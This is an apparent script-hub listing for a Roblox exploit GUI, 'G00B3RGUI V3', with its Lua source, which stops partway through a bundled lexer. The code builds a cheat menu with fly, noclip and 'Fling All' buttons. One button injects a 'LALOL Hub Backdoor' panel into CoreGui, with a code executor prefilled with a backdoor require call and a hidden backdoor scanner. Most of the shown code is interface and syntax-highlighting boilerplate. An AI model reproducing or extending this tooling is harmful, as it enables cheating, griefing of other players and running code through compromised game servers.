G00B3RGUI V3
Key RequiredUniversal

G00B3RGUI V3

Universal ScriptG00B3RB0YG00B3RB0Y 699 views 2.2K executesUpdated Aug 22, 2026
Unrated
00
Lua Script•5206 lines (88479 chars)
--[=[
 d888b  db    db d888888b      .d888b.      db      db    db  .d8b.  
88' Y8b 88    88   `88'        VP  `8D      88      88    88 d8' `8b 
88      88    88    88            odD'      88      88    88 88ooo88 
88  ooo 88    88    88          .88'        88      88    88 88~~~88 
88. ~8~ 88b  d88   .88.        j88.         88booo. 88b  d88 88   88    @uniquadev
 Y888P  ~Y8888P' Y888888P      888888D      Y88888P ~Y8888P' YP   YP  CONVERTER 

designed using localmaze gui creator
]=]

local LMG2L = {};

LMG2L["ScreenGui_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;


LMG2L["Frame_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"]);
LMG2L["Frame_2"]["BorderSizePixel"] = 0;
LMG2L["Frame_2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Frame_2"]["Size"] = UDim2.new(0, 912, 0, 514);
LMG2L["Frame_2"]["Position"] = UDim2.new(0.38646, -230, 0.1388, 22);
LMG2L["Frame_2"]["BackgroundTransparency"] = 0.3;


LMG2L["TextButton4_3"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton4_3"]["TextWrapped"] = true;
LMG2L["TextButton4_3"]["BorderSizePixel"] = 0;
LMG2L["TextButton4_3"]["TextScaled"] = true;
LMG2L["TextButton4_3"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 40);
LMG2L["TextButton4_3"]["Size"] = UDim2.new(0.31897, 0, 0.13284, 0);
LMG2L["TextButton4_3"]["Text"] = [[Lalol]];
LMG2L["TextButton4_3"]["Name"] = [[TextButton4]];
LMG2L["TextButton4_3"]["Position"] = UDim2.new(0.60776, 0, 0.63469, 0);


LMG2L["LocalScript_4"] = Instance.new("LocalScript", LMG2L["TextButton4_3"]);



LMG2L["UICorner_5"] = Instance.new("UICorner", LMG2L["Frame_2"]);
LMG2L["UICorner_5"]["CornerRadius"] = UDim.new(0, 9);


LMG2L["TextButton2_6"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton2_6"]["TextWrapped"] = true;
LMG2L["TextButton2_6"]["BorderSizePixel"] = 0;
LMG2L["TextButton2_6"]["TextScaled"] = true;
LMG2L["TextButton2_6"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 10);
LMG2L["TextButton2_6"]["Size"] = UDim2.new(0.31466, 0, 0.13284, 0);
LMG2L["TextButton2_6"]["Text"] = [[Noclip]];
LMG2L["TextButton2_6"]["Name"] = [[TextButton2]];
LMG2L["TextButton2_6"]["Position"] = UDim2.new(0.60345, 0, 0.24354, 0);


LMG2L["LocalScript_7"] = Instance.new("LocalScript", LMG2L["TextButton2_6"]);



LMG2L["TextButton3_8"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton3_8"]["TextWrapped"] = true;
LMG2L["TextButton3_8"]["BorderSizePixel"] = 0;
LMG2L["TextButton3_8"]["TextScaled"] = true;
LMG2L["TextButton3_8"]["BackgroundColor3"] = Color3.fromRGB(17, 255, 0);
LMG2L["TextButton3_8"]["Size"] = UDim2.new(0.29741, 0, 0.13284, 0);
LMG2L["TextButton3_8"]["Text"] = [[Fling All]];
LMG2L["TextButton3_8"]["Name"] = [[TextButton3]];
LMG2L["TextButton3_8"]["Position"] = UDim2.new(0.04741, 0, 0.631, 0);


LMG2L["LocalScript_9"] = Instance.new("LocalScript", LMG2L["TextButton3_8"]);



LMG2L["TextLabel_a"] = Instance.new("TextLabel", LMG2L["Frame_2"]);
LMG2L["TextLabel_a"]["TextWrapped"] = true;
LMG2L["TextLabel_a"]["BorderSizePixel"] = 0;
LMG2L["TextLabel_a"]["TextScaled"] = true;
LMG2L["TextLabel_a"]["BackgroundColor3"] = Color3.fromRGB(12, 255, 0);
LMG2L["TextLabel_a"]["Size"] = UDim2.new(0, 894, 0, 32);
LMG2L["TextLabel_a"]["Text"] = [[G00B3RGUI V3]];
LMG2L["TextLabel_a"]["Position"] = UDim2.new(0, 10, 0, 20);


LMG2L["UICorner_b"] = Instance.new("UICorner", LMG2L["TextLabel_a"]);
LMG2L["UICorner_b"]["CornerRadius"] = UDim.new(0, 9);


LMG2L["TextButton_c"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton_c"]["TextWrapped"] = true;
LMG2L["TextButton_c"]["BorderSizePixel"] = 0;
LMG2L["TextButton_c"]["TextScaled"] = true;
LMG2L["TextButton_c"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 13);
LMG2L["TextButton_c"]["Size"] = UDim2.new(0.2931, 0, 0.13284, 0);
LMG2L["TextButton_c"]["Text"] = [[Fly]];
LMG2L["TextButton_c"]["Position"] = UDim2.new(0.0431, 0, 0.24354, 0);


LMG2L["LocalScript_d"] = Instance.new("LocalScript", LMG2L["TextButton_c"]);



LMG2L["LocalScript_e"] = Instance.new("LocalScript", LMG2L["Frame_2"]);



local function C_4()
	local script = LMG2L["LocalScript_4"];
	local button = script.Parent
	
	
	
	button.MouseButton1Click:Connect(function()
	
		print("Button clicked!")
	
	
	
	--[=[
	
	 d888b  db    db d888888b      .d888b.      db      db    db  .d8b.  
	
	88' Y8b 88    88   `88'        VP  `8D      88      88    88 d8' `8b 
	
	88      88    88    88            odD'      88      88    88 88ooo88 
	
	88  ooo 88    88    88          .88'        88      88    88 88~~~88 
	
	88. ~8~ 88b  d88   .88.        j88.         88booo. 88b  d88 88   88 
	
	 Y888P  ~Y8888P' Y888888P      888888D      Y88888P ~Y8888P' YP   YP  CONVERTER
	
	]=]
	
	
	
	-- Instances: 33 | Scripts: 3 | Modules: 3
	
	local G2L = {};
	
	
	
	-- StarterGui.LALOL Hub Backdoor
	
	G2L["1"] = Instance.new("ScreenGui", game:GetService('CoreGui'):WaitForChild('RobloxGui'));
	
	G2L["1"]["Name"] = [[LALOL Hub Backdoor]];
	
	G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
	
	G2L["1"]["ResetOnSpawn"] = false;
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame
	
	G2L["2"] = Instance.new("Frame", G2L["1"]);
	
	G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
	
	G2L["2"]["Size"] = UDim2.new(0, 482, 0, 276);
	
	G2L["2"]["Position"] = UDim2.new(0.27320125699043274, 0, 0.3018597960472107, 0);
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.UIStroke
	
	G2L["3"] = Instance.new("UIStroke", G2L["2"]);
	
	G2L["3"]["Color"] = Color3.fromRGB(255, 255, 255);
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.UIStroke.UIGradient
	
	G2L["4"] = Instance.new("UIGradient", G2L["3"]);
	
	G2L["4"]["Rotation"] = 50;
	
	G2L["4"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 0, 255))};
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.UICorner
	
	G2L["5"] = Instance.new("UICorner", G2L["2"]);
	
	
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor
	
	G2L["6"] = Instance.new("Folder", G2L["2"]);
	
	G2L["6"]["Name"] = [[Executor]];
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute
	
	G2L["7"] = Instance.new("Frame", G2L["6"]);
	
	G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
	
	G2L["7"]["BackgroundTransparency"] = 1;
	
	G2L["7"]["Size"] = UDim2.new(0, 290, 0, 28);
	
	G2L["7"]["Position"] = UDim2.new(0.02169983461499214, 0, 0.8708109259605408, 0);
	
	G2L["7"]["Name"] = [[Execute]];
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.Button
	
	G2L["8"] = Instance.new("TextButton", G2L["7"]);
	
	G2L["8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
	
	G2L["8"]["TextSize"] = 22;
	
	G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
	
	G2L["8"]["TextColor3"] = Color3.fromRGB(51, 215, 0);
	
	G2L["8"]["Size"] = UDim2.new(1, 0, 1, 0);
	
	G2L["8"]["Name"] = [[Button]];
	
	G2L["8"]["Text"] = [[Execute]];
	
	G2L["8"]["BackgroundTransparency"] = 1;
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.UICorner
	
	G2L["9"] = Instance.new("UICorner", G2L["7"]);
	
	
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.UIStroke
	
	G2L["a"] = Instance.new("UIStroke", G2L["7"]);
	
	G2L["a"]["Color"] = Color3.fromRGB(51, 215, 0);
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear
	
	G2L["b"] = Instance.new("Frame", G2L["6"]);
	
	G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
	
	G2L["b"]["BackgroundTransparency"] = 1;
	
	G2L["b"]["Size"] = UDim2.new(0, 162, 0, 28);
	
	G2L["b"]["Position"] = UDim2.new(0.6400582790374756, 0, 0.8708109855651855, 0);
	
	G2L["b"]["Name"] = [[Clear]];
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.Button
	
	G2L["c"] = Instance.new("TextButton", G2L["b"]);
	
	G2L["c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
	
	G2L["c"]["TextSize"] = 22;
	
	G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
	
	G2L["c"]["TextColor3"] = Color3.fromRGB(36, 236, 203);
	
	G2L["c"]["Size"] = UDim2.new(1, 0, 1, 0);
	
	G2L["c"]["Name"] = [[Button]];
	
	G2L["c"]["Text"] = [[Clear]];
	
	G2L["c"]["BackgroundTransparency"] = 1;
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.UICorner
	
	G2L["d"] = Instance.new("UICorner", G2L["b"]);
	
	
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.UIStroke
	
	G2L["e"] = Instance.new("UIStroke", G2L["b"]);
	
	G2L["e"]["Color"] = Color3.fromRGB(36, 236, 203);
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox
	
	G2L["f"] = Instance.new("Frame", G2L["6"]);
	
	G2L["f"]["BackgroundColor3"] = Color3.fromRGB(22, 22, 22);
	
	G2L["f"]["Size"] = UDim2.new(0, 462, 0, 163);
	
	G2L["f"]["Position"] = UDim2.new(0.01962907239794731, 0, 0.24310137331485748, 0);
	
	G2L["f"]["Name"] = [[ExecutorBox]];
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.UICorner
	
	G2L["10"] = Instance.new("UICorner", G2L["f"]);
	
	
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox
	
	G2L["11"] = Instance.new("TextBox", G2L["f"]);
	
	G2L["11"]["TextSize"] = 14;
	
	G2L["11"]["TextXAlignment"] = Enum.TextXAlignment.Left;
	
	G2L["11"]["TextWrapped"] = true;
	
	G2L["11"]["TextYAlignment"] = Enum.TextYAlignment.Top;
	
	G2L["11"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
	
	G2L["11"]["TextColor3"] = Color3.fromRGB(198, 119, 88);
	
	G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
	
	G2L["11"]["MultiLine"] = true;
	
	G2L["11"]["BackgroundTransparency"] = 1;
	
	G2L["11"]["PlaceholderText"] = [[require(6666666).load("c00lkidd")]];
	
	G2L["11"]["Size"] = UDim2.new(0, 448, 0, 150);
	
	G2L["11"]["Text"] = [[]];
	
	G2L["11"]["Position"] = UDim2.new(0.015692640095949173, 0, 0.042270027101039886, 0);
	
	G2L["11"]["ClearTextOnFocus"] = false;
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight
	
	G2L["12"] = Instance.new("LocalScript", G2L["11"]);
	
	G2L["12"]["Name"] = [[Highlight]];
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter
	
	G2L["13"] = Instance.new("ModuleScript", G2L["12"]);
	
	G2L["13"]["Name"] = [[Highlighter]];
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter.lexer
	
	G2L["14"] = Instance.new("ModuleScript", G2L["13"]);
	
	G2L["14"]["Name"] = [[lexer]];
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter.lexer.language
	
	G2L["15"] = Instance.new("ModuleScript", G2L["14"]);
	
	G2L["15"]["Name"] = [[language]];
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Scanner
	
	G2L["16"] = Instance.new("Frame", G2L["2"]);
	
	G2L["16"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
	
	G2L["16"]["BackgroundTransparency"] = 1;
	
	G2L["16"]["Size"] = UDim2.new(0, 370, 0, 107);
	
	G2L["16"]["Position"] = UDim2.new(0.1166670024394989, 0, 0.30478382110595703, 0);
	
	G2L["16"]["Visible"] = false;
	
	G2L["16"]["Name"] = [[Scanner]];
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UIStroke
	
	G2L["17"] = Instance.new("UIStroke", G2L["16"]);
	
	G2L["17"]["Color"] = Color3.fromRGB(255, 255, 255);
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UIStroke.UIGradient
	
	G2L["18"] = Instance.new("UIGradient", G2L["17"]);
	
	G2L["18"]["Rotation"] = 50;
	
	G2L["18"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 255, 108)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 231, 171))};
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UICorner
	
	G2L["19"] = Instance.new("UICorner", G2L["16"]);
	
	
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button
	
	G2L["1a"] = Instance.new("TextButton", G2L["16"]);
	
	G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
	
	G2L["1a"]["TextSize"] = 43;
	
	G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
	
	G2L["1a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
	
	G2L["1a"]["Size"] = UDim2.new(1, 0, 1, 0);
	
	G2L["1a"]["Name"] = [[Button]];
	
	G2L["1a"]["Text"] = [[Start Scanning]];
	
	G2L["1a"]["BackgroundTransparency"] = 1;
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button.UIGradient
	
	G2L["1b"] = Instance.new("UIGradient", G2L["1a"]);
	
	G2L["1b"]["Rotation"] = 50;
	
	G2L["1b"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 255, 108)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 231, 171))};
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button.UIStroke
	
	G2L["1c"] = Instance.new("UIStroke", G2L["1a"]);
	
	G2L["1c"]["Color"] = Color3.fromRGB(255, 255, 255);
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.TextLabel
	
	G2L["1d"] = Instance.new("TextLabel", G2L["2"]);
	
	G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
	
	G2L["1d"]["FontFace"] = Font.new([[rbxassetid://12187365977]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
	
	G2L["1d"]["TextSize"] = 49;
	
	G2L["1d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
	
	G2L["1d"]["Size"] = UDim2.new(0, 460, 0, 50);
	
	G2L["1d"]["Text"] = [[LALOL Hub Backdoor]];
	
	G2L["1d"]["BackgroundTransparency"] = 1;
	
	G2L["1d"]["Position"] = UDim2.new(0.02169983461499214, 0, 0.025362318381667137, 0);
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.TextLabel.UIStroke
	
	G2L["1e"] = Instance.new("UIStroke", G2L["1d"]);
	
	G2L["1e"]["Color"] = Color3.fromRGB(255, 255, 255);
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Frame.TextLabel.UIStroke.UIGradient
	
	G2L["1f"] = Instance.new("UIGradient", G2L["1e"]);
	
	G2L["1f"]["Rotation"] = 50;
	
	G2L["1f"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 0, 255))};
	
	
	
	-- StarterGui.LALOL Hub Backdoor.LocalScript
	
	G2L["20"] = Instance.new("LocalScript", G2L["1"]);
	
	
	
	
	
	-- StarterGui.LALOL Hub Backdoor.Dragify
	
	G2L["21"] = Instance.new("LocalScript", G2L["1"]);
	
	G2L["21"]["Name"] = [[Dragify]];
	
	
	
	-- Require G2L wrapper
	
	local G2L_REQUIRE = require;
	
	local G2L_MODULES = {};
	
	local function require(Module:ModuleScript)
	
	    local ModuleState = G2L_MODULES[Module];
	
	    if ModuleState then
	
	        if not ModuleState.Required then
	
	            ModuleState.Required = true;
	
	            ModuleState.Value = ModuleState.Closure();
	
	        end
	
	        return ModuleState.Value;
	
	    end;
	
	    return G2L_REQUIRE(Module);
	
	end
	
	
	
	G2L_MODULES[G2L["13"]] = {
	
	Closure = function()
	
			local script = G2L["13"];
	
	--[[
	
	export type HighlighterColors = { [string]: Color3 }
	
	
	
	export type TextObject = TextLabel | TextBox
	
	
	
	export type HighlightProps = {
	
		textObject: TextObject,
	
		src: string?,
	
		forceUpdate: boolean?,
	
		lexer: Lexer?,
	
		customLang: { [string]: string }?
	
	}
	
	
	
	export type Lexer = {
	
		scan: (src: string) -> () -> (string, string),
	
		navigator: () -> any,
	
		finished: boolean?,
	
	}
	
	
	
	export type Highlighter = {
	
		defaultLexer: Lexer,
	
		setTokenColors: (colors: HighlighterColors?) -> (),
	
		highlight: (props: HighlightProps) -> (() -> ())?,
	
		refresh: () -> (),
	
	}
	
	
	
	export type ObjectData = {
	
		Text: string,
	
		Labels: { TextLabel },
	
		Lines: { string },
	
		Lexer: Lexer?,
	
		CustomLang: { [string]: string }?,
	
	}
	
	--]]
	
	
	
	local function SanitizeRichText(s: string): string
	
		return string.gsub(
	
			string.gsub(string.gsub(string.gsub(string.gsub(s, "&", "&amp;"), "<", "&lt;"), ">", "&gt;"), '"', "&quot;"),
	
			"'",
	
			"&apos;"
	
		)
	
	end
	
	
	
	local function SanitizeTabs(s: string): string
	
		return string.gsub(s, "\t", "    ")
	
	end
	
	
	
	local function SanitizeControl(s: string): string
	
		return string.gsub(s, "[\0\1\2\3\4\5\6\7\8\11\12\13\14\15\16\17\18\19\20\21\22\23\24\25\26\27\28\29\30\31]+", "")
	
	end
	
	
	
	local TokenColors: HighlighterColors = {
	
		["background"] = Color3.fromRGB(47, 47, 47),
	
		["iden"] = Color3.fromRGB(234, 234, 234),
	
		["keyword"] = Color3.fromRGB(215, 174, 255),
	
		["builtin"] = Color3.fromRGB(131, 206, 255),
	
		["string"] = Color3.fromRGB(196, 255, 193),
	
		["number"] = Color3.fromRGB(255, 125, 125),
	
		["comment"] = Color3.fromRGB(140, 140, 155),
	
		["operator"] = Color3.fromRGB(255, 239, 148),
	
		["custom"] = Color3.fromRGB(119, 122, 255),
	
	}
	
	local ColorFormatter: { [Color3]: string } = {}
	
	local LastData: { [TextObject]: ObjectData } = {}
	
	local Cleanups: { [TextObject]: () -> () } = {}
	
	
	
	local Highlighter = {
	
		defaultLexer = require(script.lexer),
	
	}
	
	
	
	function Highlighter.highlight(props: HighlightProps)
	
		-- Gather props
	
		local textObject = props.textObject
	
		local src = SanitizeTabs(SanitizeControl(props.src or textObject.Text))
	
		local lexer = props.lexer or Highlighter.defaultLexer
	
		local customLang = props.customLang
	
		local forceUpdate = props.forceUpdate
	
	
	
		-- Avoid updating when unnecessary
	
		local data = LastData[textObject]
	
		if data == nil then
	
			data = {
	
				Text = "",
	
				Labels = {},
	
				Lines = {},
	
				Lexer = lexer,
	
				CustomLang = customLang,
	
			}
	
			LastData[textObject] = data
	
		elseif forceUpdate ~= true and data.Text == src then
	
			return
	
		end
	
	
	
		local lineLabels = data.Labels
	
		local previousLines = data.Lines
	
	
	
		local lines = string.split(src, "\n")
	
	
	
		data.Lines = lines
	
		data.Text = src
	
		data.Lexer = lexer
	
		data.CustomLang = customLang
	
	
	
		-- Ensure valid object properties
	
		textObject.RichText = false
	
		textObject.Text = src
	
		textObject.TextXAlignment = Enum.TextXAlignment.Left
	
		textObject.TextYAlignment = Enum.TextYAlignment.Top
	
		textObject.BackgroundColor3 = TokenColors.background
	
		textObject.TextColor3 = TokenColors.iden
	
		textObject.TextTransparency = 0.5
	
	
	
		-- Build the highlight labels
	
		local lineFolder = textObject:FindFirstChild("SyntaxHighlights")
	
		if lineFolder == nil then
	
			local newLineFolder = Instance.new("Folder")
	
			newLineFolder.Name = "SyntaxHighlights"
	
			newLineFolder.Parent = textObject
	
	
	
			lineFolder = newLineFolder
	
		end
	
	
	
		-- Add a cleanup handler for this textObject
	
		local cleanup = Cleanups[textObject]
	
		if not cleanup then
	
			local connections: { RBXScriptConnection } = {}
	
			local function newCleanup()
	
				for _, label in ipairs(lineLabels) do
	
					label:Destroy()
	
				end
	
				table.clear(lineLabels)
	
				lineLabels = nil
	
	
	
				LastData[textObject] = nil
	
				Cleanups[textObject] = nil
	
	
	
				for _, connection in connections do
	
					connection:Disconnect()
	
				end
	
				table.clear(connections)
	
				connections = nil
	
			end
	
			Cleanups[textObject] = newCleanup
	
			cleanup = newCleanup
	
	
	
			table.insert(
	
				connections,
	
				textObject.AncestryChanged:Connect(function()
	
					if textObject.Parent then
	
						return
	
					end
	
	
	
					cleanup()
	
				end)
	
			)
	
			table.insert(
	
				connections,
	
				textObject:GetPropertyChangedSignal("TextBounds"):Connect(function()
	
					Highlighter.highlight({
	
						textObject = textObject,
	
						forceUpdate = true,
	
						lexer = lexer,
	
						customLang = customLang,
	
					})
	
				end)
	
			)
	
			table.insert(
	
				connections,
	
				textObject:GetPropertyChangedSignal("Text"):Connect(function()
	
					Highlighter.highlight({
	
						textObject = textObject,
	
						lexer = lexer,
	
						customLang = customLang,
	
					})
	
				end)
	
			)
	
			table.insert(
	
				connections,
	
				textObject:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
	
					Highlighter.highlight({
	
						textObject = textObject,
	
						forceUpdate = true,
	
						lexer = lexer,
	
						customLang = customLang,
	
					})
	
				end)
	
			)
	
		end
	
	
	
		-- Shortcut empty labels
	
		if src == "" then
	
			for l=1, #lineLabels do
	
				if lineLabels[l].Text == "" then continue end
	
				lineLabels[l].Text = ""
	
			end
	
			return cleanup
	
		end
	
	
	
		-- Wait for TextBounds to be non-NaN and non-zero because Roblox
	
		local textBounds = textObject.TextBounds
	
		while (textBounds.Y ~= textBounds.Y) or (textBounds.Y < 1) do
	
			task.wait()
	
			textBounds = textObject.TextBounds
	
		end
	
	
	
		if LastData[textObject] == nil then
	
			-- Got cleaned up while we were waiting
	
			return cleanup
	
		end
	
	
	
		local numLines = #lines
	
		local textHeight = textBounds.Y / numLines * textObject.LineHeight
	
	
	
		local richText, index, lineNumber = table.create(5), 0, 1
	
		for token: string, content: string in lexer.scan(src) do
	
			local Color =
	
				if customLang and customLang[content] then
	
					TokenColors["custom"]
	
				else
	
					TokenColors[token] or TokenColors["iden"]
	
	
	
			local tokenLines = string.split(SanitizeRichText(content), "\n")
	
	
	
			for l, line in ipairs(tokenLines) do
	
				-- Find line label
	
				local lineLabel = lineLabels[lineNumber]
	
				if not lineLabel then
	
					local newLabel = Instance.new("TextLabel")
	
					newLabel.Name = "Line_" .. lineNumber
	
					newLabel.RichText = true
	
					newLabel.BackgroundTransparency = 1
	
					newLabel.Text = ""
	
					newLabel.TextXAlignment = Enum.TextXAlignment.Left
	
					newLabel.TextYAlignment = Enum.TextYAlignment.Top
	
					newLabel.Parent = lineFolder
	
					newLabel.TextWrapped=true
	
					lineLabels[lineNumber] = newLabel
	
					lineLabel = newLabel
	
				end
	
	
	
				-- Align line label
	
				lineLabel.TextColor3 = TokenColors["iden"]
	
				lineLabel.Font = textObject.Font
	
				lineLabel.TextSize = textObject.TextSize
	
				lineLabel.Size = UDim2.new(1, 0, 0, math.ceil(textHeight))
	
				lineLabel.Position = UDim2.fromScale(0, textHeight * (lineNumber - 1) / textObject.AbsoluteSize.Y)
	
	
	
				-- If multiline token, then set line & move to next
	
				if l > 1 then
	
					if forceUpdate or lines[lineNumber] ~= previousLines[lineNumber] then
	
						-- Set line
	
						lineLabels[lineNumber].Text = table.concat(richText)
	
					end
	
					-- Move to next line
	
					lineNumber += 1
	
					index = 0
	
					table.clear(richText)
	
				end
	
	
	
				-- If changed, add token to line
	
				if forceUpdate or lines[lineNumber] ~= previousLines[lineNumber] then
	
					index += 1
	
					-- Only add RichText tags when the color is non-default and the characters are non-whitespace
	
					if Color ~= TokenColors["iden"] and string.find(line, "[%S%C]") then
	
						richText[index] = string.format(ColorFormatter[Color], line)
	
					else
	
						richText[index] = line
	
					end
	
				end
	
			end
	
		end
	
	
	
		-- Set final line
	
		if richText[1] and lineLabels[lineNumber] then
	
			lineLabels[lineNumber].Text = table.concat(richText)
	
		end
	
	
	
		-- Clear unused line labels
	
		for l=lineNumber+1, #lineLabels do
	
			if lineLabels[l].Text == "" then continue end
	
			lineLabels[l].Text = ""
	
		end
	
	
	
		return cleanup
	
	end
	
	
	
	function Highlighter.refresh(): ()
	
		-- Rehighlight existing labels using latest colors
	
		for textObject, data in pairs(LastData) do
	
			for _, lineLabel in ipairs(data.Labels) do
	
				lineLabel.TextColor3 = TokenColors["iden"]
	
			end
	
	
	
			Highlighter.highlight({
	
				textObject = textObject,
	
				forceUpdate = true,
	
				src = data.Text,
	
				lexer = data.Lexer,
	
				customLang = data.CustomLang,
	
			})
	
		end
	
	end
	
	
	
	function Highlighter.setTokenColors(colors: HighlighterColors)
	
		for token, color in colors do
	
			TokenColors[token] = color
	
			ColorFormatter[color] = string.format(
	
				'<font color="#%.2x%.2x%.2x">',
	
				color.R * 255,
	
				color.G * 255,
	
				color.B * 255
	
			) .. "%s</font>"
	
		end
	
	
	
		Highlighter.refresh()
	
	end
	
	Highlighter.setTokenColors(TokenColors)
	
	
	
	return Highlighter :: Highlighter
	
	
	
	end;
	
	};
	
	G2L_MODULES[G2L["14"]] = {
	
	Closure = function()
	
	    local script = G2L["14"];
	
	--[=[
	
		Lexical scanner for creating a sequence of tokens from Lua source code.
	
		This is a heavily modified and Roblox-optimized version of
	
		the original Penlight Lexer module:
	
			https://github.com/stevedonovan/Penlight
	
		Authors:
	
			stevedonovan <https://github.com/stevedonovan> ----------- Original Penlight lexer author
	
			ryanjmulder <https://github.com/ryanjmulder> ------------- Penlight lexer contributer
	
			mpeterv <https://github.com/mpeterv> --------------------- Penlight lexer contributer
	
			Tieske <https://github.com/Tieske> ----------------------- Penlight lexer contributer
	
			boatbomber <https://github.com/boatbomber> --------------- Roblox port, added builtin token,
	
			                                                           added patterns for incomplete syntax, bug fixes,
	
			                                                           behavior changes, token optimization, thread optimization
	
			                                                           Added lexer.navigator() for non-sequential reads
	
			Sleitnick <https://github.com/Sleitnick> ----------------- Roblox optimizations
	
			howmanysmall <https://github.com/howmanysmall> ----------- Lua + Roblox optimizations
	
	
	
		List of possible tokens:
	
			- iden
	
			- keyword
	
			- builtin
	
			- string
	
			- number
	
			- comment
	
			- operator
	
	--]=]
	
	
	
	local lexer = {}
	
	
	
	local Prefix, Suffix, Cleaner = "^[%c%s]*", "[%c%s]*", "[%c%s]+"
	
	local UNICODE = "[%z\x01-\x7F\xC2-\xF4][\x80-\xBF]+"
	
	local NUMBER_A = "0[xX][%da-fA-F_]+"
	
	local NUMBER_B = "0[bB][01_]+"
	
	local NUMBER_C = "%d+%.?%d*[eE][%+%-]?%d+"
	
	local NUMBER_D = "%d+[%._]?[%d_eE]*"
	
	local OPERATORS = "[:;<>/~%*%(%)%-={},%.#%^%+%%]+"
	
	local BRACKETS = "[%[%]]+" -- needs to be separate pattern from other operators or it'll mess up multiline strings
	
	local IDEN = "[%a_][%w_]*"
	
	local STRING_EMPTY = "(['\"])%1" --Empty String
	
	local STRING_PLAIN = "(['\"])[^\n]-([^\\]%1)" --TODO: Handle escaping escapes
	
	local STRING_INTER = "`[^\n]-`"
	
	local STRING_INCOMP_A = "(['\"]).-\n" --Incompleted String with next line
	
	local STRING_INCOMP_B = "(['\"])[^\n]*" --Incompleted String without next line
	
	local STRING_MULTI = "%[(=*)%[.-%]%1%]" --Multiline-String
	
